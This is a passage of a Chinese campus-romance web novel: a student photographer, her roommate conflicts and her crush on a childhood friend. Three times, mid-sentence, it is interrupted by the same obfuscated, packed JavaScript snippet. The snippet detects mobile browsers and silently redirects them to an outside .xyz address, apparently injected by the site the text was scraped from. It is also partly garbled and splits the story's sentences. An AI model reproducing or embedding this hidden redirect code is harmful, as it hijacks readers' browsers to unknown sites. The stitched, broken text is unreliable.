《错频暗恋》 1. 第一章 薄荷气泡水 空调外机呼呼运作着,窗户仅留着一个小口,室内的冷气充足,四人都酣眠着。 白色毛绒星星下的手机忽然亮起,闹钟小声地响着,一边的被子里伸出一只手快速的关停了闹铃。 柏以夏强行睁开眼睛看了眼时间:六点五十五。 她眼皮慢慢耷拉下去,握着手机往被子里缩了一下,默默想着:还能再睡五分钟,就眯五分钟…… 人最怕的时刻或许就是听见闹钟后再睡过去的五分钟。 柏以夏猛地睁开眼睛,按亮手机一看,六点五十七。她长吁一口气,还好还好,没有一觉睡到十点钟。 被自己这么一吓,她也没了困意。慢慢撑着床板坐了起来,轻手轻脚地穿好衣服下了床,小心翼翼地进了厕所以最小的音量洗漱完毕。 摄影器具是昨晚就准备好的,只需要走的时候提上就好。 柏以夏扒开袋子检查了一下用具,很好,没什么遗漏的。 今天周五,有人找她约拍,她正好这天没课,也乐得出去晃晃。于是便拎着自己的兜子,挂起相机往外走。 九月份的七点钟,天已经大亮了,但寝室内还是一片寂静,室友们都拉着床帘睡得呼呼的。 柏以夏无意打扰她们的睡眠,但宿舍老旧的门把手一点面子都不给她留,开门时咔啦一声,在安静的室内格外明显。柏以夏瞬间僵在原地,屏住一口气,耳朵几乎都要竖起来了,所幸屋内没有传来什么抱怨的声音。 轻手轻脚地拨开门,柏以夏脚步缓慢地走出去,憋着的那口气刚刚吐出,就听见靠近门口的那张床上响起一阵翻身带起的吱呀声,紧接着的是一道不满的咋舌。 那口气还是没吐出去,柏以夏怔愣了两秒,抿着嘴鼓起脸颊,而后无声尖叫了两下,把从她面前经过的同学吓了一跳。 气撒完了门还是要关的,柏以夏很想重重地把门掼上,但其余两位室友何其无辜。于是她将袋子放在脚下,开保险箱似地将门合上了。锁舌发出轻微响声的那一刻,不知道是不是柏以夏的错觉,她觉得自己又听见了一声不满的啧。 “夏夏,没事吧?”那位路过的同学正好认识她,见她这副表情,停下脚步问道。 柏以夏虚弱地摆摆手。 方静瞥了门板一眼,小声道:“干脆你们直接给辅导员说换寝室呗,她那样也影响你们。” 柏以夏紧张兮兮地把着她的手将人带离自己寝室门口,叹了口气,道:“没有们,只有我。” “啊?”同学不解道。 “算了算了。”柏以夏无意将自己寝室的事情讲给过多的人听,只是又疲倦地摆了摆手。 方静见她这样,也不好再追问,便岔开话题,问她:“正好我要去图书馆,要不要和我一起?” “哼哼~”柏以夏晃晃脑袋,对她举起自己的相机,“今天就不去啦,约了老师拍图。” 两人道了别之后柏以夏就蹦哒着下了楼,拿着东西别扭地往自己耳朵里面塞耳机,然后点开微信给自己的置顶打了个视频电话。 耳机声音没调,突然炸出来的铃声震得柏以夏脑袋嗡嗡的,但好在那边的人接电话的速度很快。 “柏!以!夏!”听筒里出来一道略带沙哑的女声,接着她顿了一下,或许是起床了,带起一阵窸窸窣窣地声音。过了好一会儿才又含糊地开口:“祖宗?你大清早给我打视频就是为了让我看你漆黑的衣服兜?饶了我吧。” 清早路上还没什么人,柏以夏四处望了望之后便低声喊了一串:“啊啊啊啊啊啊!” 聂嘉沅被她嚎得脑仁发麻,眼神有一瞬间的发直,她纳闷道:“你怎么了?周清池又谈了?” 说完就后悔了,因为柏以夏又是一阵哀嚎:“什么时候的事!!” “我瞎说的,开学忙着呢,没空关注他学校的八卦。”聂嘉沅似乎是在刷牙,声音不太清楚。 柏以夏暂时心情平静下来,才想起来自己打电话的目的,嘴一撇就开始倒苦水:“我给你说啊嘉嘉,我今天早上我就差给自己脚上套一层棉花了,要带的东西都放在布袋子里,保证没有发出一点无关紧要的杂音,收拾的时间全程没超过十分钟!她居然还是觉得吵!” 聂嘉沅本来还有点困,被她这一长串的叭叭念得彻底醒神,“谁?那个Lucy?” “是卢茜……”柏以夏嘟囔着。 聂嘉沅给她出谋划策:“干脆搬出去吧,阿姨他们肯定也同意,感觉你再这样下去,都要精神衰弱了。”她转出洗手间,低声补了一句,“你那另外两个室友天生熬夜圣体且睡眠质量超群,想要她们俩和你感同身受不太现实。而且这事不好放在明面上讲,免得招骂的人变成你自己。” 柏以夏哼哼两声,终于把手机掏出来对着自己的脸。她前两天才去修了刘海,柔软的碎发搭在眉上,露出一双可怜巴巴的眼睛,支吾着:“诶,可是她、她也……” 早料到她会犹豫,聂嘉沅见怪不怪,隔着屏幕横了她一眼,吐槽道:“第三十二次了,柏以夏。你这种情况发网上都是要被骂圣母心的。” 从大一开学到现在,柏以夏没少因为和卢茜作息不合给聂嘉沅抱怨过,但无一例外都只有抱怨,没有后续。 无他,卢茜的家庭情况不太好,平常除了上课就是打工,再加上不是同一个专业的,几乎和寝室里的每一个人都不太熟。C大晚上不断电,卢茜周中白天要上课,只有晚上才会出去打工,免不了晚归。往往她洗漱的时候,柏以夏总是已经昏昏欲睡了,但有好几次都被突然响起的吹风机声音给吓醒。 “她惨归她惨,但轮不到你去心疼她。”聂嘉沅说道,“再怎么说你们一起住,她还是得顾及室友的情绪吧。” 柏以夏当然明白这个道理,但每次打算和卢茜谈谈的时候,对上她没什么波澜起伏的眼睛时,她总觉得心里不太舒服,就只能说点无关紧要的事情岔开。 聂嘉沅和柏以夏是发小,两个人争着喝过一瓶奶,抢着吃过一碗饭,关系好得和亲姐妹一样。她早就习惯了柏以夏的性子,知道她这个人心软的毛病,也没逼她,只道:“希望没有第三十三次了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138946|180390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嘿嘿,我争取争取。”柏以夏笑得眯起眼睛。她夏天之前剪了短发,现在头发长到锁骨的位置,但出门嫌天气太热,就草草扎了两个小辫,垂在脖子旁边随着她的走动一晃一晃,像两根逗猫棒一样。 聂嘉沅被硬控了两秒,问道:“出去玩儿?” 说到这个,柏以夏就乐起来了,她点点头,“对呀,有两个美女宝宝约我拍照!” 柏以夏兴趣广泛得要命,什么圈子都混一下,但是什么都不精,唯独绘画和摄影这块儿坚持到了现在。她有一个专门做摄影的账号,不算火,偶尔有几个粉丝或者刷到她的路人找她拍照。 当然,啵一下老师只接同城的单子。 两人一聊就是二十多分钟,柏以夏已经走到校外等车了。聂嘉沅毫无诚意地叹了一声:“真羡慕周五没课的人。夏夏,我要去上早八了,你路上注意安全,到了之后给我发个消息。” “嗯嗯。”柏以夏点点头,又是和聂嘉沅互道了几遍再见,在对面总算伸指头点挂断键的时候,她忽地喊了一声等下。扭捏了好一会儿才小声道:“嘉嘉,周清池最近有什么情况吗?”每说一个字,声音就小一分。 聂嘉沅听见这句话,死一样地闭上了眼睛,然后利落的挂了视频。 柏以夏一时拿不准她的意思,站在公交站台前把手里的道具从左边换到右边,又从右边换到左边。过了三四分钟,手机响了一声,她拿起来一看,聂嘉沅给她发了两条消息。 -再加一沅:活爹。 -再加一沅:看了一眼,他没谈。 肩上挎着的袋子好像轻了一点,柏以夏乐得差点没拿稳手机,哒哒地给聂嘉沅打字回复。 -啵一下:谢谢嘉嘉! -啵一下:【爱你.jpg】 聂嘉沅回了她一个流汗黄豆的表情,附带一句“死恋爱脑”。 柏以夏看着那四个字,又乐不起来了。就算要恋爱脑,也得先谈上恋爱吧。 正想着,公交车总算到了。学校门口的始发车,又还是一大清早,根本没什么人。柏以夏护着自己的相机上了车,找了个靠窗的位置坐下。倚着窗户看外面,呼吸喷在玻璃上激起一小片水雾,她盯了半天,又凑上去哈了一口气。 这下范围变大了,她快速的画了一只猫头,然后举着手机拍了一张照片。 犹豫了三个站才点开手机发给另一个置顶人。 -啵一下:【图片】 -啵一下:快看快看,是小猫! 聊天背景是一张写满数字的草稿纸,上面放着一个折纸红心,红心的尖尖被一只手捏着。柏以夏发出去的图片遮住了那只手的全貌,她出神了一下,指尖悬在屏幕上方,随着车辆的颠簸,在聊天界面点了两下。 柏以夏担心自己的相机受损,赶忙端端正正地坐在位置上,将相机放在自己腿间。再低头看手机的时候,脑子一片空白。 只见屏幕上出现一行黑字:我拍了拍“周清池”说爱你爱你超爱你! 柏以夏扭头看向窗外,盯着地面寻思着跳车的可能性。 2. 第二章(二更)香芋慕斯 其实柏以夏倒也不是因为看见那一串的“爱你”感到尴尬。毕竟周清池的微信拍一拍是暑假的时候她设置的。 周清池的母亲很忙。小时候柏以夏就有这样的认知,不管是小的周末,还是大的节假日,她都很少能看见姜姨。 周清池可能也已经习惯了,只是那次的问题实在是有点大。暑假之前他留在学校那边处理事情,要晚回家一周。 姜英华女士说得好好的会在家休息一个月。但计划赶不上变化,她忙着忙着又忙跑了。就留了他弟周清衍一个人在家。 那段时间海城天气变化大,周清衍没太注意,有天雨大没带伞,硬是淋了一路回去。半夜就发起了高烧,要不是他撑着敲了对门柏以夏家的门,估计已经烧成傻子了。 周清池知道后,明面上没什么表示,但心里还是对姜英华有气,几个星期都没主动给她发过一条消息。 姜女士实在没辙,只能迂回着去找了柏以夏帮忙。 小夏老师多热心?拿着周清池的手机鼓捣了几下就搞定了。 母子俩说亲近又不亲近,那些腻人的表达,寻常是说不出口的,隔着一个屏幕或许要好一点。果不其然,周清池虽然清楚这是柏以夏弄出来的,但也和母亲的关系缓和下来。 回想起这件事,柏以夏又烦恼地拿额头敲了几下玻璃,看着手机顶端那时不时显现的“对方正在输入……”,心慌得要命。 但那边就这样输入了六七分钟都没发过来一句话,眼看车都要到站了,柏以夏决定先发制人。 -啵一下:是在写小作文骂我吗?[黄豆可怜.jpg] -啵一下:不然为什么发这么久消息…… -啵一下:不要骂我呀小周哥[大哭.jpg] -啵一下:你应该没有学校的群是用微信的吧…… 连续输出四条,对面那边的输入总算是停止了,但随即便弹了个视频过来。 柏以夏又手忙脚乱的掏出耳机戴上,对着手机理了理刘海才接通。 屏幕那边的环境有些暗,手机的主人应该是在走路,镜头有些摇晃。柏以夏没开口说话,几秒后,几缕黑发先露了面,而后一只白皙有力的手闯进镜头里,将散乱的刘海扒拉了几下,一双含笑的桃花眼出现在柏以夏眼前。 “小夏?”清润的嗓音透过耳机响在柏以夏耳边,她愣了一下,含糊的应了一声。 又过了几秒,周清池的整张脸才被框进镜头中,看他身后的背景,应该是在往教室走。柏以夏找回点神来,道:“小周哥早啊。” 周清池回了她一句早,“我才看见你给我发的消息,出去玩?” 柏以夏看他目光没落在摄像头那,估计是在看消息,猜想那长达六七分钟的输入应该是误触,悬着的心总算是放下了。 “是呀,我周五没课嘛。”她顿了一下,“你上早八噢?” 周清池看完了消息,又去看她,“是。没有小夏老师那样的好运,一周连续四天早八呢。” 柏以夏宽慰他,“欸,实则不然。你周一可没有早课,能在放假后还捞得到懒觉睡,很幸福了。” 耳机里传来几声闷笑:“我那天有晚九。” “……”那很惨了呀。 柏以夏看了看街景,发现自己马上要下车,想着再瞄几眼周清池就挂电话。但低头一看发现他那边的镜头黑了,估计是用手捂住了,隐隐看得见几缕光。 那边的声音有些朦胧,周清池嗓音很淡:“学校地图长在我手机里?” 旁边的应该是他室友,那人连吐了一串的不好意思,“有时候眼睛它就是比本人要没素质一点,我一定严厉惩罚它。” “惩罚它看一节课视频?”周清池道。 “好方法。” “……”捂着镜头的手挪开,周清池无奈地摇了摇头,“一大清早的……” 柏以夏乐道:“你室友还挺有意思的。” 周清池模糊地哼了一声,道:“你今天早上又和聂嘉沅吐槽什么了?” “嗯?就是一点小烦恼而已,你怎么知道?” “她在群里骂你。”他们有一个三人群,平时没事就在里面发点没用的东西。 周清池看柏以夏的镜头黑了,道:“你要下车了?我念给你听吧。‘柏以夏,我杀了你,你还我美好的清晨睡眠’。” 聂嘉沅的语气可要比周清池的激动多了,柏以夏不看手机都知道这句话里能加多少感叹号。但周清池一本正经地念“我杀了你”实在有些好笑,柏以夏被乐得险些踩空了。 “小夏?”周清池听见她哎呦了一声,连忙道:“你小心一点。” “没事没事。”柏以夏翻了一下手机,“对不起嘉嘉了,我看错她的课表了。” 她看了一眼周清池,朝他挥挥手,“得去给她道个歉,你去上课吧。” 周清池等她说了再见后,直接点进购票软件,利落地买了中午的车票。 “你要回家啊老周?”室友又凑了过来,正好看见他的付款界面。 周清池这次没说他,点点头,“回家看看我弟饿死没。” 室友道:“你对你弟真好,我家那个玩意儿我每次回去只想多给他几脚。” -- 到约定地点的时候才九点过,太阳出来了,但气温不算高。柏以夏坐在花廊下给聂嘉沅发消息求原谅,可惜没得到回复。 估计自己也看错课表的聂嘉沅已经又去续第二觉了。 柏以夏和两个粉丝约的时间是九点半,还有一段时间。她嫌干坐着无聊,便举起相机开始找景。 这座公园柏以夏从小到大不知道来过多少次。三家人放假的时候就会约着一起来,几个大人在草地上坐着聊生活和工作,他们三个小孩就围着花廊跑来跑去。 这种你追我赶的活动多半都是柏以夏起头的,聂嘉沅看似文静其实也人来疯。而周清池小时候就格外稳重,一般不太参与她们俩的行动,真要见他一起疯玩,都是被柏以夏拉着去的。 九月,粉色的凌霄花开满了一整个花架,阳光落到花瓣上,给边缘染上一层金色,添了一份热烈。 柏以夏连拍了几张,低头翻着照片的时候兀地想着:今年或者明年,再和周清池来一次这里吧。 思绪未清,肩膀被人拍了拍。柏以夏转头看去,两位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138947|180390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女生笑着和她问好。 扎着丸子头的那个女孩更外向一些,她大方地递出自己的手机,“刚刚远远地看见有人在这拍照,就觉得应该是老师你。我随手拍了一张,老师看看怎么样?” 女生说是随手,但实际上也有着灵巧的构图。图中柏以夏将相机捧在胸口处,微低着头,几缕短短的发丝滑到眼睛那,挡住了小半边眼睛,只看得到一小截睫毛,嘴角向上扬起。背后是繁茂的花墙,阳光泼洒在她身上,染着暖融融的光晕。 柏以夏眼睛一亮,赞叹道:“很好看呀,请一定要把这个照片发给我!” 柏以夏对这座公园熟悉得很,带着两人很快就拍好了。她上大学以来就经常接拍,很是熟练,等着日头最盛的时候,三个女孩子已经稳稳坐在咖啡店里选图了。 柏以夏怕热,正吃着冰淇淋,手边的手机不停地弹出消息。聂嘉沅一觉睡到中午总算是把醒过来了。 -再加一沅:今天弄得好晚,你吃饭了没? -啵一下:[图片] -再加一沅:哟,这张好看,看来这次的客户很难搞定嘛,能给我们小夏老师拍出美照的,眼光一定也很毒辣。 -请吃粥:很好看。 -再加一沅:不是哥?原来你看得见手机?我一个小时前给你发的消息是透明底吗? -请吃粥:那会儿在吃饭。 -请吃粥:小夏还没结束? 柏以夏刚想加入他们的聊天,那边两人已经选好了照片。 丸子头女生双手相扣抵在下巴处,看着柏以夏,“其实好久之前就想约老师了,但是老师那段时间好像没排期,也算是让我抢到了。” “哈哈哈,我这个也算兴趣,不常接。”柏以夏记了照片,“那今天就到这啦。我回去以后把成片发给两位。” “好的!谢谢老师。” 真正结束已经是下午两点过了,柏以夏回程的路上回了两人的消息,得到了一张久远的“丑照”。 -再加一沅:其实你今天发来的不是这样的照片,我是有点失望的。 -再加一沅:[图片] 那张照片是柏以夏最开始接拍的时候,被客户偶然拍到的。那天风大,她站在个大石头上往下跳,头发凌乱,四肢乱飞,五官被拍得一团模糊。 柏以夏不在乎这些,客户给她看了之后,她转身就分享到了群里,还自P了表情包“猛虎下山”。 -啵一下:我是没有啦,但是我有很多你的,要不要分享给你[阴险.jpg] -再加一沅:不必了,我上课了,不和你聊。[告辞.jpg] 柏以夏自己闷闷地笑了一会儿,又握着手机点开和周清池的聊天框,想着找点什么词来开场。但还没等她想好,室友的消息先一步到了。 -陈宛宜:夏夏,你什么时候回来,救救。 -陈宛宜:[可怜.jpg] 柏以夏茫然地回了她一句怎么了。陈宛宜便急匆匆地发了一句语音过来,听起来像是躲在外面压着声音讲的。 “救命啊夏夏,寝室二十一度的空调都没有她们俩之间的气氛僵!我要被冻死了!” 3. 第三章(三更)青提葡萄冰饮 其实事情也不复杂,陈宛宜和白易安两个人性格都很随和,在寝室也算是调和剂,卢茜那样不爱参与讲话的人有时候都会说两句话。 两人趁着没课睡了个饱才起床,简单收拾后就转悠着去食堂吃饭,走的时候见卢茜的帘子紧闭着,以为她还在睡觉,出门时便顺手将门锁上了。吃过饭后两人又去自习室坐了两个小时,这才打算回寝室。 谁知一走到门口就看见卢茜黑着脸抱着包站在门口,听见脚步声的时候红着一双眼睛偏头瞪她们,纯是气出来的。 她们和卢茜不是一个专业,平常交流很少,根本就不熟悉她的课表。只是之前卢茜出门的时候总会把床帘捞开散散气,她们俩才误会了。 柏以夏一下车就急匆匆地跑回寝室了,虽然她也总是对卢茜有点气,但多少还是想要一个气氛和谐的宿舍氛围。 但真快到门口时,柏以夏还是慢下了脚步,缓了口气才推开门,“哇,太凉快了,今天外面真的好热呀……” 话说到一半柏以夏就知道自己说错了,站在白易安和卢茜后面的陈宛宜绝望地闭了闭眼,双手合十对着她拜了拜。 柏以夏轻咳一声,道:“嗯……小宛和小白也不是故意的——” “她们又和你告状了吗?”卢茜冷硬地打断她的话,看向她的眼神也不算平和。 背对卢茜而坐的白易安猛地站起来,椅子腿在地板上划出一道难听的噪音,但此时没人注意到这个。 白易安道:“什么叫告状,这件事和夏夏又有什么关系?你迁怒到她身上干什么!” “没关系你们迫不及待地给她发消息招她回来?”卢茜也站了起来,她身量要比白易安高一些,但也更削瘦,刘海压着眉眼,显得有些阴沉。 白易安深吸一口气,“卢茜,我也和你道过歉了,这事是我做的不对。”她皱着眉,“但你不知道给我们发消息吗?非要自己可怜兮兮地在外面站着,怎么?给我们制造点愧疚点?” 柏以夏想说话但又不知道说什么,脑子转的飞快,眼神却不受控制地落到了卢茜的手上。她紧攥着自己的衣角,沉默了一下才挤出一句话:“我发了,你们看了吗?” 她这句话的声音不大,但在安静的寝室里格外清晰。 柏以夏一愣,连忙打开手机翻消息。她加的乱七八糟的群很多,消息每天都是99+,有的时候不常联系的人就会被顶下去。 果不其然,卢茜中午的时候给她发过一条消息,问她什么时候回来,她没带钥匙。 “我那时候,没怎么看手机……”柏以夏道。 另外两人也讪讪地放下手机,可能是发给柏以夏也没什么用,卢茜给她们发的消息要多两条。但在自习室的时候,两人都没看手机的习惯。 白易安脸色有些不自然,她道:“对不起,当时开了免打扰——” 卢茜却没让她把话说完,冷笑了一声。 白易安火气瞬间又被勾了上来,“你什么意思啊?卢茜,讲句实话我们也不欠你什么好吧。歉也道了,错也认了。我就不明白你又什么要在这里不服气的。消息发了没动静,你难道不会打电话吗?寝室的钥匙你自己没有吗?自己不带还要指责别人不回来给你开门?你搞清楚,我们有自己的事情,不是要围着你转的好吗?” 一连串的输出让柏以夏都有些懵,白易安平常从来没有露出这样的一面,总是笑眯眯脾气很好的样子。卢茜被她的话堵了嘴,哽了半天也没吐-出一个字。 她一把推开自己椅子就要往外走,柏以夏抓住她的手腕被她一把甩开,打开门就脚步不停地跑远了。 陈宛宜在给白易安顺气,见柏以夏愣在原地,疑道:“夏夏,你怎么了?她刚刚撞到你了吗?” 柏以夏回过神,却没说话,刚刚卢茜经过她的时候,她看见卢茜眼眶红了一圈,这也是柏以夏拉住她的原因。 柏以夏心累地叹了一口气,摇摇头:“没呢。到底怎么回事呀,她也不是不讲理的人。” 白易安心里还有气,说话就不那么客气,“还能怎么样。回来好声好气地给她开门道歉,她倒好,一开始一句话不说,一开口就阴阳你。” 柏以夏纳闷:“啊?我?” 白易安和陈宛宜对视一眼,点了点头,“算是吧。我俩就提了一句不知道你有没有带钥匙,她就说什么。” 陈宛宜清了清嗓子,压着声音学道:“‘就能惦记着柏以夏,我就活该被锁在外面’。我的天,她是不是对你有什么意见啊?” 这下柏以夏是真有些迷茫了,她走到自己桌子前,把东西归置后,眼神三番五次流连在卢茜的座位上,踌躇着原地踏步。 陈宛宜注意到她的动作,转过头来看她,“夏夏,你是想要去找她?” 柏以夏道:“有点吧。” 白易安摆摆手,“别理她了,你不是还要回家吗?都要五点半了,你快走吧,不然一会儿就晚高峰了。”她转身趴在椅背上,“等会儿她回来,我们再和她好好说一下。今天大家是都有点问题,但和你关系不大,不要在意这个。” 柏以夏看了看时间,确实不早了,她答应爸妈要一起吃晚饭的。于是也只好说道:“那好吧,我就先走啦。千万不要吵架啊。”说着她朝两人合十拜了拜。 “好好好,不会的,你注意安全。” 说着不在意,柏以夏出门之后还是去楼道的大阳台转了一圈,但没找见人也就作罢了。 -- 走出校门的时候柏以夏才又打开手机,这才注意到下午关于那张“猛虎下山”的表情包有了新的回复。周清池在群里引用了那张图片,附带了几个字。 -请吃粥:这张怎么了?这张分明很有可爱很有活力啊。 -再加一沅:什么眼神?我自带的滤镜都没看出来这张照片活力在哪。 -再加一沅:只看见一个很绝望很懵的夏。 -请吃粥:哼,你看不出来,只是你没品罢了。 -再加一沅:……? -再加一沅:@啵一下,别找他给你拍照,肯定丑出天际。 看着两人在群里的吵嘴,一瞬间什么矛盾什么不解都被冲开了,柏以夏捧着手机嘴角不受控制地往上扬起,脚步都不由自主地加快了。 她正想着要怎么回复这场混战,就感觉自己的防晒衣帽子被什么东西勾住了。她一头雾水地回头去看,眼睛陡然睁大。 身后的男生满脸无奈的看着她,“哒哒哒地又要往哪跑?回来的时候我这么大一个人就没看见,出来也瞧不见?” 男生穿着一件雾蓝色的衬衫,袖口挽起两道,腕上戴着一支表,配了一条米白色的阔腿牛仔裤,整个人透着一股子沉稳但又不死板。 柏以夏惊喜地喊道:“小周哥!你这么会在这?” 周清池替她理好兜帽,拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138948|180390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出那句敷衍室友的说辞,“回来看看周清衍饿死没有。” “放心好了,小衍很会找吃的。下了晚自习之后会溜到我们家找夜宵吃的。”柏以夏真信了。 周清池却道:“他经常烦你吗?” “哪有。我周末才会回去一次,他顶多周末的时候找我打打游戏。”柏以夏在相册里翻了一会儿,展示给周清池看,“看,我们上周打通关了这个。” 周清池比柏以夏高了不少,他弯腰凑近柏以夏,轻轻拉着她的手腕,视线却没落在手机屏幕上,而是看向女孩的手指。 食指边上有一道小小的划痕,微微泛着红。 他问道:“这里怎么了?” “嗯?”柏以夏自己都没注意到,被他一说才觉得那块痛痛痒痒的,“可能是下午的时候不小划到了。” “没事?” 柏以夏端详着自己的手指,看着那道不管就要愈合的伤口,狐疑地看向周清池:“你总不可能让我给这么个小口子贴创口贴吧。” 她晃了晃脑袋,“没事啦,过一会儿就感觉不到啦。” “噢对!家里估计没你的饭,我发给消息让阿姨多准备点菜。”说着她又要去点手机。 周清池拦住她,从兜里掏出车钥匙在她面前晃了晃,“我先回家了一趟,已经和林姨说过了,有我的那份。” 听他这么说,柏以夏觉得自己心里好像揣着一只兔子,蹦蹦跳跳地顶着心脏,她转了转眼睛,笑道:“是来专门接我的吗?” 周清池看了她一眼,嘴角也微微扬起,“不是。” 柏以夏一愣:“诶?” “我想想,我是来捡兔子的。”周清池往前走了两步,伸出手指了指站台,“那种一下车了就蹭蹭蹭跑走的。” 柏以夏这才想起他之前说自己没看见他,忍不住笑起来:“好记仇噢小周哥。” 她几步走到周清池身边,拿肩膀去顶了顶他的手臂,讨饶:“是我眼神不好使了,对不起让你久等啦。一会儿我来开车?” 柏以夏上个暑假才拿了驾驶证,一遍过,对自己的技术非常满意。她拍了拍自己的胸脯,“柏师傅保准让乘客您有回家一样的乘车体验。” 周清池被她这番话逗笑了,但他摇摇头,“你今天到处跑,已经很累了。周天送我去高铁站好吗?” 周天还能有单独相处的时间,柏以夏满意得不行,连连点头。 又想起什么似地问道:“你看见我了这么不给我打电话呀,白白等了那么久,万一中暑怎么办?” “我本来想叫你的,但是看你表情好严肃,应该是有什么重要的事。”周清池替她拉开车门,垂眸道,“而且,我很乐意等你。” 车驶出去有一会儿了柏以夏才缓过劲来,她偷偷瞄着周清池,觉得这家伙是不是恋爱谈多了,怎么一下子这么会说话。但下一秒又有些郁闷,根据聂嘉沅的情报,周清池去年谈了四个女朋友,每个不超过一周。 作为女生,柏以夏十分唾弃他这种渣男行为,作为朋友,又忍不住想要找理由为他开脱。最后,作为暗恋者,会在心里默默窃喜。 柏以夏在心里长叹一口气,狠狠骂了自己几句“恋爱脑”,然后打开手机给聂嘉沅发了一条消息。 -啵一下:嘉嘉,你真的太辛苦了,对不起。 -啵一下:[下跪小狗.jpg] -再加一沅:?? 4. 第四章 莓果泡芙 柏以夏两条莫名其妙的消息把远在延城的聂嘉沅吓个够呛,语音视频来了遍。 她当然不可能当着暗恋对象的面和聂嘉沅讨论这件事情,只好又匆匆丢过去几条“我没事”才让她打消了念头。 周清池开车的时候异常专心,不太喜欢和人聊天说话,但柏以夏还是微微偏了一下身体,确保他看不见自己的手机屏幕,才放心地和聂嘉沅发消息。 -啵一下:小周哥今天来接我回家! -再加一沅:是,你回你家,他回他家。 看着这句话柏以夏都能想象聂嘉沅嫌弃着翻白眼的样子,她抿着嘴笑了一下,等到了聂嘉沅第二条消息。 -再加一沅:不是? -再加一沅:他接你回家?你已经开始白日做梦了吗?他不上课了? -啵一下:他说他回来看看小衍,怕他饿死。 本来就因为要上晚课感到命苦的聂嘉沅看见这条消息感觉自己命中带了黄连一样,她神思恍惚地晃了一下,身边的室友连忙扶了她一把,“怎么了,嘉沅,你不舒服吗?” 聂嘉沅无力地摆摆手,划拉着又看了一遍柏以夏发来的消息,茫然道:“是,是有点不舒服,感觉自己好像有点死了。” 室友:“?” 柏以夏你是个白-痴吧,他怕弟弟饿死,不去接弟弟,跑去接你?聂嘉沅把这句话删掉,哀叹着发了另一句话。 -再加一沅:小衍有福气,遇见好哥了。 柏以夏想了想,确实如此,姜姨和周叔叔在周清池五岁的时候离婚,那会儿周清衍才两岁。姜英华忙着打离婚官司,又忙着自己的生意,周清衍几乎就是周清池一个人带大的。 想到这里,柏以夏更不解了,按这样来看,周清池人品绝对没有问题,怎么上了大学之后就变成渣男了? 柏以夏很诚恳地把这个疑问发给了聂嘉沅,那边沉寂了有一会儿才悠悠吐-出一条消息。 -再加一沅:夏夏呀,有的时候,也不一定是男生提的分手,女孩子也会提分手。 -再加一沅:按道理说,我们周颜值身材摆在那里。人品,我姑且认为他是狗,不是人-渣。 -再加一沅:那么,剩下一个有可能的原因…… -再加一沅:他不行。 晃眼看到那三个字的时候,柏以夏以为自己眼睛出了问题,她不可置信地揉了揉眼睛,又去看的时候,聂嘉沅又发来一条新消息,这回是五个字。 他那里不行。 那里是哪里? 柏以夏花了一秒钟就明白了,猛地把手机一扣,耳朵通红。 缓了几秒钟后柏以夏偏头瞄了一烟周清池,他不知道柏以夏现在脑子里在想什么,把着方向盘认真地看着路况。 柏以夏的目光不受控制地落到他的胸口,这才注意到周清池这件衬衫的胸口绣着一只小熊,小熊抱着一个蜜罐笑得眼睛眯起——这是暑假一起出去玩的时候,柏以夏给他选的那件。 周清池平常的穿衣风格很简约,常穿的衣服不是纯色就是只带几个字母,或者简单的几何图形,很少见他穿这种带卡通花纹的衣服。 他穿了我给他选的衣服。 这个认知让柏以夏整个人热起来了,慌乱地想挪开视线,但人越慌,做出来的事情越莫名其妙。脑子里聂嘉沅发过来的五个字忽然冒了出来,柏以夏的视线确实挪开了,但却挪到了衬衫下摆。 不知道是衣摆,还什么撑起的一个弧度,看起来,也不算小。 这下柏以夏是真的满脸通红了。 她像看到什么不该看的东西一样猛地抬起头。 周清池总算是注意到她的异常了,趁着刚转红灯,他伸手在柏以夏脸上贴了贴,“小夏,你怎么了?脸好烫。” “是空调开高了吗?”周清池收回手去调试车内空调。 柏以夏闭了闭眼睛,强迫自己想了想这学期最不想上的几门课,把自己脑子的污-秽全部压了下去。 看着还隐隐露出几分担忧的周清池,柏以夏干巴巴地回答道:“没事,刚刚突然想起昨天晚上打排位,气得红温了。” “谁那么菜把你气成这样?” 脑子里还有些空白,柏以夏想了半天秃噜出一个名字:“小衍。” 周清池沉默了两秒,随后语气冰凉地说道:“行啊周清衍,刚开学就惦记着他那游戏。回去就收他手机。” 柏以夏在心里疯狂给周清衍道歉。 但多谢周清衍,柏以夏脑子里的废料终于被清除干净了。 等周清池又专注到车道上时,柏以夏打开手机正要谴责聂嘉沅这种无辜造谣的行为,却看见她之前又发过来几条消息。 -再加一沅:我说着玩的。 -再加一沅:人呢? -再加一沅:我的夏,你别给我说你真的去掰人家腿…… -再加一沅:夏夏? 